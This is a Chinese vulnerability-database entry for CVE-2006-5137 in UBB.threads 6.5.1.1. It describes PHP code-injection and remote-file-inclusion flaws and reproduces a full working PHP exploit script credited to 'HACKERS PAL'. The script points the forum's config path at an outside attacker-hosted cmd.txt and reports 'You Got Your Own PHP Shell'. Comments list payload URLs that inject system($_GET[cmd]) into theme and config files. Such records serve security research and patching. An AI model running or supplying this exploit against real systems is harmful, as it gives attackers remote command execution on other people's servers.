UBB.threads 多个直接静态代码注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111169 漏洞类型 输入验证
发布时间 2006-09-29 更新时间 2006-10-18
CVE编号 CVE-2006-5137 CNNVD-ID CNNVD-200610-003
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/2457
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-003
|漏洞详情
GroupeeUBB.threads6.5.1.1中的多个直接静态代码注入漏洞,远程攻击者可以通过(1)通过theme[]数组参数将PHP代码注入admin/doedittheme.php中,随后再注入includes/theme.inc.php中;(2)通过config[]数组参数将PHP代码注入admin/doeditconfig.php,然后通过includes/config.inc.php执行该代码;以及通过config[path]参数中的URL将引用注入PHP代码,然后通过(3)dorateuser.php、(4)calendar.php和其他未指定的脚本执行该代码。
|漏洞EXP
#!/usr/bin/php -q -d short_open_tag=on
<?
// UBB.threads Multiple input validation error

// Discovered By : HACKERS PAL
// Copy rights : HACKERS PAL
// Website : http://www.soqor.net
// Email Address : security@soqor.net

// Tested on Version 6 (6.5.1.1) and other versions maybe affected

// Remote File including :
// ubbt.inc.php?GLOBALS[thispath]=http://localhost/cmd.txt?&cmd=dir
// ubbt.inc.php?GLOBALS[configdir]=http://localhost/cmd.txt?&cmd=dir
// -------------------------------------------------------
// Files overwrite vulnerabilities
// if magic_qoutes_gpc = off

// admin/doedittheme.php?theme[soqor]=".system($_GET[cmd])."&thispath=../
// and open includes/theme.inc.php?cmd=ls -la
// or :-
// admin/doeditconfig.php?config[soqor]=".system($_GET[cmd])."&thispath=../
// and open includes/config.inc.php?cmd=ls -la

// -- # -- # -- # --

// if magic_qoutes_gpc = on
// admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?

// and you will have a command execution files ..
// example
// dorateuser.php?cmd=ls -la
// calendar.php?cmd=ls -la
// and so many other files which includes using this variable ($config[path])
// -------------------------------------------------------
// Full path
// cron/php/subscriptions.php
// -------------------------------------------------------
// Exploit :-

/*
/*   UBB.threads Multiple vulnerabilities
/*  This exploit should allow you to execute commands
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/*       UBB.threads Command Execution        */
/*    by HACKERS PAL <security@soqor.net>     */
/*         site: http://www.soqor.net         */');
if ($argc<2) {
	print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/
/**********************************************/
');
	die;
}
error_reporting(0);
ini_set("max_execution_time",0);

$url=$argv[1]."/";
$exploit="admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?";
$page=$url.$exploit;
Function get_page($url)
{

	if(function_exists("file_get_contents"))
	{

		$contents = file_get_contents($url);

	}
	else
	{
		$fp=fopen("$url","r");
		while($line=fread($fp,1024))
		{
			$contents=$contents.$line;
		}

	}
	return $contents;
}

$page    = get_page($page);

$newpage = get_page($url."calendar.php");

if(eregi("Cannot execute a blank command",$newpage))
{
	Die("\n[+] Exploit Finished\n[+] Go To : ".$url."calendar.php?cmd=ls -la\n[+] You Got Your Own PHP Shell\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
Else
{
	Die("\n[-] Exploit Failed\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
?>

# milw0rm.com [2006-09-29]
|参考资料

来源:XF
名称:ubbthreads-multiple-file-include(29274)
链接:http://xforce.iss.net/xforce/xfdb/29274
来源:BID
名称:20266
链接:http://www.securityfocus.com/bid/20266
来源:BUGTRAQ
名称:20060929UBB.threadsMultipleinputvalidationerror
链接:http://www.securityfocus.com/archive/1/archive/1/447359/100/0/threaded
来源:SREASON
名称:1676
链接:http://securityreason.com/securityalert/1676